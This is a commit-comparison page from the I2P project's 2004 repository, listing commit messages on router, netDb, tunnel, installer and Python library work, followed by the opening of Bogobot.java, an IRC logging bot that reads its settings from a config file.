Compare commits

...

214 Commits

Author SHA1 Message Date
78b7f228f5 * dropped httptunnel.jar and phttprelay.war from the dist (neither are used)
* automate the building of {lib,weblib,webapps}.tar.bz2 (even if i only run this one more time)
2004-08-20 19:58:04 +00:00
84e03f8b16 0.3.4.3, backwards compatible, to be released later today 2004-08-20 19:56:34 +00:00
288580aed7 be more accepting in what router references we receive (let them be up to 6h old before throwing a hissy fit) 2004-08-20 19:55:46 +00:00
de63bbcc86 adding clientApp parameter to pass the user's preferred browser into systray 2004-08-20 14:38:56 +00:00
80b8c284b4 * fixed a bug causing the systray to hang upon exit on Linux
* various nips and tucks all around
2004-08-20 14:36:03 +00:00
ffff6d701f added browser selection dialog 2004-08-20 12:56:40 +00:00
0b084ece08 * added ant build file
* systray is functional
2004-08-20 10:08:29 +00:00
28855d3fd1 * adding systray client to clients.config
* updating installer readme (the public domain 'license')
2004-08-20 03:11:08 +00:00
f7d356dc95 adding systray libs 2004-08-20 03:08:05 +00:00
104b332906 initial commit of systray code; not yet integrated 2004-08-20 03:07:27 +00:00
8b30852639 might as well link 'em to the netDb like the shitlist 2004-08-20 00:31:42 +00:00
bdaa14c257 formatting fix 2004-08-20 00:19:58 +00:00
0234fb62fb properly clean up the temp files (thanks oOo) 2004-08-19 23:46:56 +00:00
687ca781ab the DoS isn't CRIT and we log instances and publish the stat appropriately 2004-08-19 23:18:38 +00:00
3053c797e8 handle removal and addition (duh) 2004-08-19 22:02:28 +00:00
62d6709949 * include prepWEB as part of buildWEB (prepWEB checks to see if we've already downloaded it)
* include buildWEB as part of build (so everyone builds everything by default)
* have clean include pkgclean
* new i2ptunnel.config and clients.config for the pkg
2004-08-19 21:26:11 +00:00
410abaf92c handle the tunnels being instantiated prior to the CLI being inoked
(aka someone went to /i2ptunnel/ before the 2 minute delay passes)
2004-08-19 21:11:42 +00:00
5e07c478f5 a little tidying up 2004-08-19 20:27:35 +00:00
3eda53a97f ugly pages to display the old console and stats info, linked to off the top nav
also link to the i2ptunnel from the top nav (in a new window).
2004-08-19 20:26:19 +00:00
4e25382901 * load clientApp.* lines from clients.config by default, falling back on
reading the router's props only if that file doesn't exist.
* by default, only log CRIT messages to the screen (the rest are sent to
the log file).  this will be useful with the upcoming service controller
* refactor a common Properties helper to DataHelper.loadProps
2004-08-19 17:42:47 +00:00
fccb172e20 * Display both the hash and the full destination associated with each tunnel on
the /i2ptunnel/ page so they can easily be shared.
* By default, try to create any needed private key files (for server tunnels only)
* keep track of the I2PSession objects used by the I2PTunnel instances (only needed
for exposing the associated Destination)
2004-08-19 17:36:27 +00:00
5a761242f5 adding the wrapper binaries 2004-08-19 08:22:15 +00:00
aaaf1e14a5 removed the unnecessary launch parameter piping to /dev/null 2004-08-19 07:38:46 +00:00
3dcb9f6424 Added datagram_test.i2p 2004-08-19 05:59:27 +00:00
04621ff64a * service wrapper fully functioning under Linux and WinXP, should also be working for the other *nix platforms but this isn't tested yet
* renaming wrapper binaries to 'i2psvc' for *nix and 'I2Psvc.exe' for win32
2004-08-19 05:41:36 +00:00
5053808058 initial commit of service wrapper files
moving standalone-compiler.jar into the izpack subdir
2004-08-19 04:48:42 +00:00
9912c673bf * allow 2 failures in a tunnel before killing the tunnel. this is useful because
much of our tunnel failure detection code itself uses tunnels - send out tunnel 1
and get the reply through tunnel 2.  If it fails, which one "broke"?
* we now add a failure mark to both in all situations, including during tunnel
creation
* properly check the tunnel expiration 2-2.5 minutes prior to completion, rather
than the old 0.5-1.5 minutes.
2004-08-19 02:38:50 +00:00
4636f7be7b oops, we need to mark the peer we don't send to as failed (otherwise we wont send any more requests out, since there will be 'too many pending') 2004-08-18 20:44:57 +00:00
0ffc0a1959 Oops 2004-08-18 12:16:09 +00:00
e86032b129 Ver 0.9.1 2004-08-18 12:13:56 +00:00
87941a0975 Removed reference to stasher 2004-08-18 11:36:08 +00:00
3d6a40a683 don't do the netDb store of the peer's routerInfo until after we validate what they tell us (so we can shitlist them for the right reason) [thanks duck!] 2004-08-18 07:23:01 +00:00
9753470dcb handle a situation that would otherwise cause a search to block indefinitely rather than complete properly 2004-08-18 07:20:27 +00:00
a45e1b4781 made installer window resizable to compensate for some buggy *nix window managers 2004-08-18 04:47:09 +00:00
54f52d37ca * don't allow concurrent requests for the same key - add them to a list of deferred
requests which are notified on completion
* query peers who are sending us bad references, just don't follow their suggestions.
this is necessary since the peer may actually have the data (and other people may not be
getting shitty references from them)
2004-08-18 00:20:59 +00:00
6e295a7afb added the new GUI installer and associated build tasks 2004-08-17 20:43:11 +00:00
692cd7adae * reduced the period used to detect / avoid peers who send invalid data (60m instead of 120m)
* expose the reason for a dbStore rejection more cleanly
2004-08-17 20:37:47 +00:00
7794547d30 .cvsignore evidently didn't ignore itself 2004-08-17 19:40:24 +00:00
aum
35eaaee627 added -l flag for local-only put/get 2004-08-17 16:57:21 +00:00
aum
8029901ed7 fixed error (.i2pstasher) in help output 2004-08-17 10:09:56 +00:00
342c55043d accept w/ skew (duh) 2004-08-17 06:01:50 +00:00
3cf363667c added targets for .tar.bz2 package creation 2004-08-17 05:53:56 +00:00
2f8993995b enforce diversification of tunnel participants.
when picking peers to participate in a tunnel, we still select from the 'fast' tier,
except now we pick the ones that have least recently agreed to participate in a tunnel.
(they're already in the fast tier, so they're reliable [ish]).
the diversification has been pretty good so far, but i'm going to leave 'er running and monitor it overnight
2004-08-17 05:20:17 +00:00
8e9c541eba * new simple 'invalid reply rate' tracking the number of replies a peer sends that Suck.
(e.g. we can't find the referenced peer or the data they send back is corrupt/expired).
This is like the old invalidReplies, except its a rate that decays.
* if we receive more than 5 invalid replies from a peer in a 1-2 hour period,
stop verifying any subsequent replies, and also stop asking them for keys.
* cleaned up the store validation even further
2004-08-17 02:03:09 +00:00
7ed310ffd2 update ardvark.i2p (after checking ID) 2004-08-17 02:02:34 +00:00
bc1b020e95 put the timestamper in the background by default (so Base64 completes, thanks duck!) 2004-08-17 00:02:17 +00:00
5fdff16b1e removed shitlist ref 2004-08-16 22:38:10 +00:00
43e22a9028 javadoc fix (thanks oOo) 2004-08-16 22:17:47 +00:00
e102bf9eed lots of bitchin' oOo patches (woot, thanks oOo!), plus some cleanup
* apply oOo's patch for beautifying the new console w/ links to a shitlisted peer's netDb entry
* apply oOo's patch to clean up the peer shitlist count more aggressively
* apply oOo's patch to allow removing lines via /configadvanced.jsp
* apply oOo's patch to clean up the memory usage display
* apply oOo's patch to include log messages on /logs.jsp most recent first, rather than last
* get rid of the netDb key shitlist (its a bad idea, better solution coming soon)
2004-08-16 20:27:06 +00:00
aum
bf3ee5c158 added code.leo, to aid with editing the code via the
wonderful Leo structural literate editor
2004-08-16 16:19:32 +00:00
aum
2e99e3d9c5 added beginnings of splitfiles handling code
might not work yet for files > 28k
2004-08-16 16:18:41 +00:00
3d7029493a avoid a rare busy loop (thanks lucky) 2004-08-16 13:13:08 +00:00
a6ad2bbc5b added files.nickster.i2p 2004-08-16 04:25:48 +00:00
4dc17773c4 added brittanyworld.i2p 2004-08-15 23:06:52 +00:00
e5d66f46c6 deal with a race on close
more zealous bc synchronization
make sure we always close the streams explicitly
logging
2004-08-15 20:48:35 +00:00
d2fc24e792 deal with no proxy available
more carefully retrieve a proxy
logging (w/ unique requestId)
2004-08-15 20:44:14 +00:00
aum
ec52c81f46 Eliminated incorrect truncation of retrieved keys 2004-08-15 18:49:05 +00:00
aum
0eb0c4cc83 fixed getref bug 2004-08-15 18:33:37 +00:00
aum
b54e6bc933 *** empty log message *** 2004-08-15 17:58:57 +00:00
aum
83f891138d *** empty log message *** 2004-08-15 17:56:33 +00:00
aum
c621940b0f *** empty log message *** 2004-08-15 17:53:45 +00:00
aum
a27b0a0a1e *** empty log message *** 2004-08-15 17:45:01 +00:00
aum
23a52dbc9a first scripted commit 2004-08-15 16:57:02 +00:00
aum
f8a57c7885 Pulled another n bugs 2004-08-15 13:49:27 +00:00
a295d0ad1e cleanup the shitlist code
logging
2004-08-15 09:04:56 +00:00
190a2147cc Handle the netDb DoS problem at the root. The DoS was basically old peers telling us about expired
peers that we would crawl the entire netDb looking for (always failing, since there aren't any current
netDb entries for that peer that we would accept).
* keep a shitlist of keys we have recently searched for but were unable to find so we don't flood
* if our in-memory data store won't accept the data, its not helpful, so delete it on disk
* no need to do the preemptive refetching of a leaseSet, since we already garlic wrap it with payloads
* logging
2004-08-15 08:00:28 +00:00
49573b9e72 changed Windows-corrupted line endings back to UNIX 2004-08-15 07:17:13 +00:00
aum
e60b30ed44 Fixed n bugs, particularly relating to store 2004-08-15 07:02:36 +00:00
5c10ddf54c removing bogo.config, replaced bogobot.config 2004-08-15 05:17:12 +00:00
600ece819f config file implemented (thanks oOo)
NickServ capability (thanks oOo)
2004-08-15 05:14:49 +00:00
6bc7a3d8aa handle errors initializing, and deal with logFilePatterns that don't include a full path (e.g. log-#.txt instead of logs/log-#.txt) 2004-08-14 20:57:50 +00:00
aum
0af07e5352 *** empty log message *** 2004-08-14 18:11:42 +00:00
aum
8732f54c64 corrected invalid noderef aum.stasher 2004-08-14 17:51:50 +00:00
aum
437d5d76e9 added -f option for running stasher in foreground
reduced timeouts to 60secs
2004-08-14 17:43:46 +00:00
aum
7378be05d3 *** empty log message *** 2004-08-14 17:33:28 +00:00
aum
75febe4b75 Relocated from i2p/apps/sam/python
Stasher is a Kademlia-based distributed file store (aka 'DHT')
for I2P. Written in python, it can be accessed as:
 - low level python classes, or
 - via a client socket, with simple text-based protocol, or
 - via command-line client prog (called 'stasher', unsurprisingly)

Release status is pre-alpha

Developed by aum, August 2004
2004-08-14 17:23:07 +00:00
aum
f6d8d93a1b Removed all stasher-specifics, relocated them to
i2p/apps/stasher
2004-08-14 17:19:24 +00:00
aum
130310fddd Will suffice for doco for now 2004-08-14 13:07:04 +00:00
aum
8bd312046d First alpha release of stasher, a python-based Kademlia DHT implementation
specifically created for I2P.

New Files:
 - aum.stasher - a single noderef
 - stasher - wrapper script for starting/stopping/using stasher
 - stasher.py - similar wrapper script for 'doze users
 - src/bencode.py - requisite module
 - src/i2p/stasher.py - the stasher application classes - python module

Modified Files:
 - setup.py - added code to install stasher wrapper
 - src/i2p/__init__.py - added stasher to '__all__', allowing import
2004-08-14 12:58:12 +00:00
9cc96f45d0 * add a main() to TunnelControllerGroup which can be used as a clientApp.*
* new config property to have a tunnel start on load (default=true), so tunnels, er, start on load
* use i2ptunnel.config instead of i2ptunnel.cfg (for consistency)
* minor refactoring
2004-08-14 02:03:45 +00:00
c18fc1984d *cough* i knew there was a reason i left that test running... 2004-08-13 22:02:29 +00:00
3b651076d1 added stasher.i2p 2004-08-13 21:26:50 +00:00
352396bdc2 > Date: Fri, 13 Aug 2004 15:58:30 +1200 (NZST)
> Message-ID: <1776.202.37.75.101.1092369510.squirrel@202.37.75.101>
> From: adam@adambuckley.net
> To: jrandom@i2p.net
>
> [...]
>
> I hereby authorize my NtpClient.java and NtpMessage.java code to be
> redistributed under the BSD license for the purpose of integration with
> the I2P project, providing that I am credited as the original author of
> the code.
>
> [...]
w00t!  adam++
code migrated into core/java/src/net/i2p/time, integrated with Clock,
dropping that whole ugly pass-the-time-through-URL, and hence dropped
support for :7655/setTime.
New router.config properties to control the timestamper:
  time.sntpServerList=pool.ntp.org,pool.ntp.org,pool.ntp.org
  time.queryFrequencyMs=300000
  time.disabled=false
So, to disable, add time.disabled=true to your router.config.  It is
enabled by default.
Default router.config and startup scripts updated accordingly (since
timestamper.jar is now gone)
2004-08-13 21:15:22 +00:00
3c9b0273d4 only count locally generated lookup messages for detecting local DoS (duh) 2004-08-13 02:52:17 +00:00
5122f9989c track more info 2004-08-13 02:22:45 +00:00
8ebd22da96 hmm i thought i already committed this. well, anyway, cleaner stats wrt searching 2004-08-13 02:21:18 +00:00
c2d55013a6 0.3.4.2, backwards compatible, release pretty soon 2004-08-13 02:15:54 +00:00
25eda1378e * do DoS detection in constructor, so we get useful "why are we doing this"
stack traces (rather than "oh, we're doing it when... uh... writing to the socket")
* increase the throttle max, since we want to be able to send a few concurrent
2004-08-13 02:11:54 +00:00
dfac7bde9c * track searches more carefully
* detect situations where we may be inadvertantly flooding the netDb
and log them as CRIT with a stacktrace, as well as publish the count
of those events in the netDb
* detect potential netDb DoS situations by checking to see if we have
received more than 20 netDb lookups in 10 seconds, and if so,
probabalistically drop subsequent netDb messages (P=1-(10/numReceived)).
This is also published in the netDb.
2004-08-13 01:43:01 +00:00
348168d6c0 made the log less verbose for duck ;) 2004-08-13 01:27:55 +00:00
a1c772c8d8 changed quadn.i2p to library.i2p 2004-08-12 21:02:43 +00:00
f1ce1b5361 if we reach this point, bump up the expiration if necessary (otherwise the fast expire will occur with small clock skews) 2004-08-12 03:24:44 +00:00
ebdc7d70a1 shitlist appropriately (continued) 2004-08-12 03:23:48 +00:00
c5947c23bb include the shitlist summary 2004-08-12 03:22:27 +00:00
eeb1852d95 take note of the reason each peer is shitlisted and display that on the console (good idea oOo)
cleaned up the shitlisting process within the TCPTransport so that we don't shitlist twice (clobbering the detailed cause with a general "uh, couldn't contact 'em" cause)
2004-08-11 22:51:00 +00:00
2f28a635a9 integrated oOo's memory usage patch (the % shown is unfortunately % of peak, not % of max) [thanks oOo!]
cleaned up build script to make sure we always build fresh JSPs and xml [thanks oOo^2!]
2004-08-11 22:23:48 +00:00
d524c77560 *cough* (oops) 2004-08-11 08:23:56 +00:00
0025d94aa4 if the message has expired but hasn't exceeded the fudge factor, we still need to give it some time to be processed (we receive and validate it first, and if it reaches these jobs, we should let it continue)
logging
2004-08-11 07:10:37 +00:00
bb5ae2922d added freshcoffee.i2p 2004-08-11 07:00:23 +00:00
fbe9fe1ba8 new method for sanitizing content to be rendered on a web page (specifically, the routerInfo options can be hacked to contain evil html)
thanks for finding and suggesting the fix oOo!
2004-08-11 04:42:04 +00:00
mpc
007194d674 Check mallocs for NULL return 2004-08-11 04:39:17 +00:00
cdd74505d7 optional flag to allow using the standard base64 charset on decode/encode, rather than the (filename friendly) i2p charset 2004-08-11 00:59:11 +00:00
0aa023189d shitlist the old idents of peers who change idents
be sure to fire any onFail jobs if we aren't going to pass a message off (duh)
take clock skew into account when determining whether a message is expired (duh^2)
2004-08-11 00:57:36 +00:00
79aa10dfcb just a test 2004-08-10 21:22:45 +00:00
9ecfda0110 added basic HTTP authentication for accessing the router console (if a consolePassword is specified in the router.config)
unfortunately, this password setting is only read on router startup...
2004-08-10 19:51:11 +00:00
b89e26c460 cleaned up the validation of leaseSet/routerInfo elements being accepted so we validate only in one place (in the facade instead of both the facade and the dataStore)
don't accept entries created (too far) in the future
2004-08-10 16:55:54 +00:00
97e5952544 another oOo catch (not sure if this is ever run - it shouldn't be, but now it'll display the silly statement more clearly :) 2004-08-10 04:52:48 +00:00
8627328047 set the nextHopId whenever we know the nextHopInfo (duh) [thanks oOo!]
this should fix the deserialization errors from tunnels.dat
2004-08-10 04:11:58 +00:00
ec0c912c6f oOo's updates:
* properly describe expired leaseSets (e.g. "30s ago" instead of "in -30s")
* add a little table at the end of the netDb HTML summarizing the versions people claim to be running
2004-08-10 01:07:33 +00:00
mpc
953de3f1f2 Indentation 2004-08-09 10:56:14 +00:00
mpc
e1264de514 Magically fixed itself 2004-08-09 10:02:07 +00:00
5abd2b400c Updated wiki text sources 2004-08-09 10:01:04 +00:00
mpc
2c2a103676 Some more Makefile updates 2004-08-09 09:39:20 +00:00
44af799b66 reverting previous commit; realized it would hammer Mort Bay's servers 2004-08-08 23:07:07 +00:00
ec22ba3248 'dist' target broken, fixed by adding prepWEB as a depend before buildWEB 2004-08-08 22:42:56 +00:00
7fcc05c037 0.3.4.1, backwards compatible, release later today, blah blah blah 2004-08-08 19:29:53 +00:00
edf17d0a46 drop the arbitrary wait during creation (but not during startup)
only relevent to simulations, obviously
2004-08-08 19:26:44 +00:00
9cccd0bfc9 rather than flush any/all log messages 10 times a second, flush log messages once there are 100 of them or 10 seconds have passed, whichever comes first 2004-08-08 01:40:48 +00:00
e57c010e3d reduced context switches by removing the timeout val that was redundant 2004-08-08 01:39:00 +00:00
4dfcf1c1c8 updated boundary condition (thanks mule/oOo) 2004-08-08 01:35:45 +00:00
8d7786e97d bad jrandom, test first 2004-08-08 01:34:42 +00:00
2cb519cd06 updated implementation to match the RandomSource javadocs (inclusive of both 0 and n, unlike SecureRandom, which is inclusive of 0 and exclusive of n) 2004-08-07 19:14:13 +00:00
bc46ad4331 only block adding more *outbound* data, not handling data received from I2P. The data has already been received by the router and delivered to the streaming lib (and is sitting in RAM anyway...)
logging
2004-08-07 06:35:46 +00:00
be08e8f23b use the env defaults when no i2cp info is specified 2004-08-07 06:28:29 +00:00
f937809903 have a write() timeout after 60s instead of blocking forever by default (also used when injecting data into an input stream) 2004-08-06 22:24:56 +00:00
c0f32c942d more checking for timeout 2004-08-06 22:23:00 +00:00
39c5c830bb Added py2exe example 2004-08-06 14:41:05 +00:00
83c8953d1b Removed debug print statements 2004-08-06 13:43:46 +00:00
4b100a5a64 Replaced time.clock() -> time.time() (Bug on Unix) 2004-08-06 13:43:22 +00:00
b7e50e0b3a Replaced time.clock() -> time.time() (Bug on Unix) 2004-08-06 13:36:41 +00:00
mpc
6933052de7 Minor improvments to the build system 2004-08-06 01:27:53 +00:00
22d945f7b7 allow remote harvesting by specifying a URL to read routers from (e.g. --netDbURL http://dev.i2p.net/i2pdb/ ) 2004-08-05 20:35:52 +00:00
b81c5628ce fixed harvest of rankings (capacity vs reliability thing) 2004-08-05 20:07:10 +00:00
cdb4576bd7 per mule's patch, added support for a round robin across multiple outproxies
instead of the standard 'httpclient 4444' or 'httpclient 4444 squid.i2p', you can now specify a comma delimited list of outproxies:
'httpclient 4444 squid.i2p,www1.squid.i2p,www2.squid.i2p' and each individual http request goes through a randomly selected proxy
there are a few general issues with this, such as a lack of affinity (web applications that require a session to always come from a single IP address will break)
but it should work most of the time.
2004-08-05 18:17:33 +00:00
4859cd7dcf new job to aggressively fetch the most up to date routerInfo from peers by, er, asking them for it
disabled by default (enable through router.config 'netDb.shouldHarvest=true').
useful if you want to harvest the published router stats, since otherwise you could have data from a few hours back
2004-08-05 02:58:13 +00:00
3f70593ca8 precompile all of the JSPs so that people with JREs instead of JDKs can load this up 2004-08-05 02:24:00 +00:00
676288e6c0 added ems.i2p 2004-08-05 01:12:06 +00:00
1aa3e0cc5a Fixed bug in select 2004-08-04 14:35:45 +00:00
b0f8064d0d Add unit test 2004-08-04 14:35:12 +00:00
e5e85732d4 Oops, fixed one more bug 2004-08-03 09:16:53 +00:00
f97c1ef0d9 Fixed bug in recvfrom() 2004-08-03 08:51:28 +00:00
83cf815160 * add new and generally ugly components to allow web based control of tunnels
* build an i2ptunnel.war
2004-08-03 08:21:29 +00:00
fea62a529b * don't use static props on the I2PTunnel for I2CP / etc so that we can safely keep multiple instances alive
* propogate errors (if the I2CP host isnt reachable, the socket manager
won't be created) and handle appropriately
2004-08-03 08:18:10 +00:00
2cff5ae2bb added ooo.i2p 2004-08-02 21:09:21 +00:00
8aa29f5340 Update Python I2P library version 0.91 by sunshine 2004-08-02 15:23:37 +00:00
8051bfef1d remove generated doc 2004-08-02 15:22:21 +00:00
85bc79ab1b removed generated doc 2004-08-02 15:21:05 +00:00
97e5588184 Update Python I2P library version 0.91 by sunshine 2004-08-02 14:52:39 +00:00
e622fdc885 removed 2004-08-02 14:50:00 +00:00
4f81e1debe Update Python I2P version 0.91 by sunshine 2004-08-02 14:47:44 +00:00
9ccfd852d8 Updating I2P Python version 0.91 by sunshine 2004-08-02 14:44:24 +00:00
9df57a47d5 Updated Python I2P version 0.91 by sunshine 2004-08-02 14:34:06 +00:00
f2cadb7278 bugs.txt 2004-08-02 14:07:30 +00:00
3f6e7cb84c Updated Python I2P version 0.91 by sunshine 2004-08-02 14:06:30 +00:00
4ed4ce8240 Updated Python I2P version 0.91 by sunshine 2004-08-02 14:00:56 +00:00
4373956a3f Updated Python I2P version 0.91 by sunshine 2004-08-02 13:55:41 +00:00
36fb99a00d Updated Python-I2P version 0.91 by sunshine 2004-08-02 13:51:50 +00:00
8f5d325c4d Updated Python-I2P library 0.91 by sunshine 2004-08-02 13:50:21 +00:00
8d8b6da0bf updated to handle operation without a logger.config (reasonably) 2004-08-01 23:27:37 +00:00
3a61d260d7 cleanup wrt multiple app contexts 2004-08-01 23:24:47 +00:00
5bc433d1c8 fixed ^C^V errors 2004-08-01 23:21:35 +00:00
a0e4bbac6f updated defaults 2004-08-01 21:50:49 +00:00
d44d8cc53d penalize peers whose tunnels probably fail, but still dont kill those tunnels quite yet
logging
2004-08-01 20:41:33 +00:00
1305969247 requeues aren't absurd in a live net where connectivity sometimes fails (duh) 2004-08-01 20:39:17 +00:00
94becebafa increase the (essentially) arbitrary choke on message send times (which has caused some reliability problems under load) 2004-08-01 20:37:44 +00:00
8add433966 javadoc 2004-08-01 20:25:25 +00:00
c5b289fb1f javadoc fixes 2004-08-01 18:47:12 +00:00
f85ce180ed * added a way to control how large we let the buffers grow before we block,
or even whether to have the blocking action timeout and close the socket after
a certain delay
* refactored the I2PSocketOptions to be more actively used
* added a pair of ministreaming lib demo apps:
- StreamSinkServer listens to a destination and dumps any data it receives on a socket to a per-socket file
- StreamSinkClient sends a destination a specified number of random bytes, then disconnects
2004-08-01 18:34:02 +00:00
8101fa1c92 excluding Eclipse-specific project files 2004-08-01 06:50:14 +00:00
8a091e0205 fixed for ant 1.5 compat 2004-08-01 06:46:59 +00:00
edc3a54ad3 changed _botShutdownCommand to _botShutdownPassword for clarity 2004-08-01 06:42:31 +00:00
a3cd7d1068 Initial commit, bogobot version 0.3.1. 2004-08-01 06:26:51 +00:00
mpc
337441b8de Time for a new release 2004-08-01 06:25:56 +00:00
bd78a66bd4 updated build proc to conditionally fetch the jetty libs from http://dev.i2p.net/jettylib.tar.bz2
now the main ant 'dist' will build the web stuff as well (but ant 'build' wont)
2004-08-01 05:31:15 +00:00
96f9618081 expose more data and let the settings be overridden during runtime (and saved to disk) 2004-08-01 05:27:59 +00:00
mpc
cf7be2d601 Fixed stupid bug when pinging multiple hosts 2004-08-01 04:06:44 +00:00
aum
598732915e Added ref to HTTPServer I2PCGIHTTPServer and I2PSimpleHTTPServer to save users having to unnecessarily import i2p.I2PBaseHTTPServer 2004-08-01 03:21:11 +00:00
mpc
99c18396ab Some improvements to i2p-ping 2004-08-01 03:20:22 +00:00
mpc
6d5dd81066 added i2p-ping 2004-08-01 02:38:14 +00:00
7cd9451a22 fproxy2.i2p 2004-08-01 02:22:22 +00:00
mpc
29b5a7c5c2 Removed broken examples and added some more comments to warhammer 2004-08-01 00:30:25 +00:00
393a04165e honor some updates correctly 2004-07-31 23:48:44 +00:00
mpc
e97e834a5b Updated warhammer example, and fixed a bug on FreeBSD 2004-07-31 23:31:02 +00:00
bec685682b logging 2004-07-31 23:28:28 +00:00
34f119ca23 moved the router config reading code into the, er, router 2004-07-31 23:25:02 +00:00
09ed1b1f9e logging 2004-07-31 23:22:38 +00:00
fcb109f46d made the last of the config pages support dynamic updates (w3wt) 2004-07-31 23:19:23 +00:00
f30823e4ac removing my lost key 2004-07-31 22:00:07 +00:00
aum
c04885449d Replaced these files with:
- I2PSocketServer.py
 - I2PBaseHTTPServer.py
 - I2PSimpleHTTPServer.py
 - I2PCGIHTTPServer.py
difference being that these new modules are not hacks of the
original python server modules, rather, they subclass the
python server modules; this overcomes the Fear and Loathing
expressed by some regarding multiplicity of licenses, and
apart from that, is a better idea anyway. Only danger being if the
modules in later Python releases change substantially, these modules
could get broken.
2004-07-31 18:51:45 +00:00
aum
8c31e47eeb Fixed example to import correct modules 2004-07-31 18:46:59 +00:00
aum
d8ee5c180b Replaced hacked Python server modules with ones which
subclass the python modules.
2004-07-31 18:45:13 +00:00
823f4a26b3 patch was unnecessary. kept docstrings. 2004-07-31 10:45:47 +00:00
a05e8a446d update the default tunnel settings dynamically (adjusting the pool size accordingly) 2004-07-31 04:16:30 +00:00
21126f766c put the adminManager in the context so we can control it (and in turn, restart it) 2004-07-31 04:15:09 +00:00
8f46ead756 added the handler component to deal with arbitrary changes 2004-07-31 04:10:33 +00:00
75652fc2c4 config clients handler implemented 2004-07-31 03:34:00 +00:00
7cdc46f007 added thetower.i2p (he denies being thetower from TFEE fame) 2004-07-31 02:44:20 +00:00
ed9f9625ae added actual form handling to the main config.jsp page
dropped the old notice.jsp style result notification
display destination info on the left nav
2004-07-31 02:34:24 +00:00
mpc
7b60d3dab9 Add session to callbacks too 2004-07-31 02:31:39 +00:00
a6993fa489 now allow restarting within the same jvm (loading all the config options again, rebinding sockets, etc - it does NOT fire up all the clientApp tasks though - those aren't part of the router) 2004-07-31 02:21:46 +00:00
mpc
bc2774bde4 Added multi-session support 2004-07-31 01:36:51 +00:00
d10dc1e8d3 Doing something different this time -- but only to core
I marked all the empty statements with //nop
I removed unneccessary elses (ie, the if returns or throws)
I took out some casts (integral promotions/some didn't need to be there)
-- Love, shendaras
(2 in one day, w00t)
2004-07-31 01:04:34 +00:00
48556de92b added fproxy.i2p and mrflibble.i2p 2004-07-31 00:55:10 +00:00
7f6b477d2e Fixing up imports (I've been falling down on my job).
Note:  I didn't touch routerconsole since it isn't done (I believe)
-- Love, shendaras
2004-07-30 22:19:57 +00:00
11d8c67d12 added some client info (e.g. 2 clients w/ 2 1 hop tunnels each expiring in 8m) 2004-07-30 20:28:19 +00:00
fd2a4029e7 html cleanup for the new console 2004-07-30 20:27:13 +00:00
4467928845 pmd pointed out a few unnecessary things (well, a lot more than just this, but these are the ones i'm fixin ;) 2004-07-30 19:43:59 +00:00
aum
cc85a00bfd Added 'dontResolve' keyword to Socket.connect, which if set
to True, will prevent the hostname lookup. This gives
the caller the option of passing in a physical destination
base64, instead of being limited to known hosts.
2004-07-30 17:43:39 +00:00
aum
15d58ecdcd Noting that all files here are in public domain, except from the
files src/i2p/*Server.py, which are derived from the Python
standard library counterparts, and therefore inherit the Python license.
2004-07-30 12:44:23 +00:00
aum
08d93b9a78 added module docstring indicating changes 2004-07-30 12:40:41 +00:00
aum
a75a999e3b README file for adapted python server modules 2004-07-30 12:38:12 +00:00
aum
684ef709f5 Added python server modules to __all__ 2004-07-30 12:36:00 +00:00
aum
2e98dd09e7 These modules are taken verbatim from python 2.3 standard library,
and have been hacked to work with sunshine's I2P SAM Socket module.
2004-07-30 12:34:57 +00:00
aum
6635425bbc example_httpd.py - demo of I2P-ised Python server classes 2004-07-30 12:33:38 +00:00
381 changed files with 24716 additions and 4117 deletions

348
apps/bogobot/Bogobot.java Normal file
View File

@ -0,0 +1,348 @@
/*
* bogobot - A simple join/part stats logger bot for I2P IRC.
*
* Bogobot.java
* 2004 The I2P Project
* This code is public domain.
*/
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Properties;
import org.apache.log4j.DailyRollingFileAppender;
import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.PatternLayout;
import org.jibble.pircbot.IrcException;
import org.jibble.pircbot.NickAlreadyInUseException;
import org.jibble.pircbot.PircBot;
import org.jibble.pircbot.User;
/**
* TODO 0.5 Add multi-server capability.
*
* @author hypercubus, oOo
* @version 0.4
*/
public class Bogobot extends PircBot {
private static final String INTERVAL_DAILY = "daily";
private static final String INTERVAL_MONTHLY = "monthly";
private static final String INTERVAL_WEEKLY = "weekly";
private boolean _isIntentionalDisconnect = false;
private long _lastUserlistCommandTimestamp = 0;
private Logger _logger = Logger.getLogger(Bogobot.class);
private int _currentAutoRoundTripTag = 0;
private long _lastAutoRoundTripSentTime = 0;
private Timer _tickTimer;
private String _configFile;
private String _botPrimaryNick;
private String _botSecondaryNick;
private String _botNickservPassword;
private String _botUsername;
private String _ownerPrimaryNick;
private String _ownerSecondaryNick;
private String _botShutdownPassword;
private String _ircChannel;
private String _ircServer;
private int _ircServerPort;
private boolean _isLoggerEnabled;
private String _loggedHostnamePattern;
private boolean _isUserlistCommandEnabled;
private String _logFilePrefix;
private String _logFileRotationInterval;
private long _commandAntiFloodInterval;
private String _userlistCommandTrigger;
private boolean _isRoundTripDelayEnabled;
private int _roundTripDelayPeriod;
class BogobotTickTask extends TimerTask {
private Bogobot _caller;
public BogobotTickTask(Bogobot caller) {
_caller = caller;
}
public void run() {
_caller.onTick();
}
}
private void loadConfigFile(String configFileName) {
_configFile = configFileName;
Properties config = new Properties();
FileInputStream fis = null;
try {
fis = new FileInputStream(configFileName);
config.load(fis);
} catch (IOException ioe) {
System.err.println("Error loading configuration file");
System.exit(2);
} finally {
if (fis != null) try {
fis.close();
} catch (IOException ioe) { // nop
}
}
_botPrimaryNick = config.getProperty("botPrimaryNick", "somebot");
_botSecondaryNick = config.getProperty("botSecondaryNick", "somebot_");
_botNickservPassword = config.getProperty("botNickservPassword", "");
_botUsername = config.getProperty("botUsername", "somebot");
_ownerPrimaryNick = config.getProperty("ownerPrimaryNick", "somenick");
_ownerSecondaryNick = config.getProperty("ownerSecondaryNick", "somenick_");
_botShutdownPassword = config.getProperty("botShutdownPassword", "take off eh");
_ircChannel = config.getProperty("ircChannel", "#i2p-chat");
_ircServer = config.getProperty("ircServer", "irc.duck.i2p");
_ircServerPort = Integer.parseInt(config.getProperty("ircServerPort", "6668"));
_isLoggerEnabled = Boolean.valueOf(config.getProperty("isLoggerEnabled", "true")).booleanValue();
_loggedHostnamePattern = config.getProperty("loggedHostnamePattern", "");
_logFilePrefix = config.getProperty("logFilePrefix", "irc.duck.i2p.i2p-chat");
_logFileRotationInterval = config.getProperty("logFileRotationInterval", INTERVAL_DAILY);
_isRoundTripDelayEnabled = Boolean.valueOf(config.getProperty("isRoundTripDelayEnabled", "false")).booleanValue();
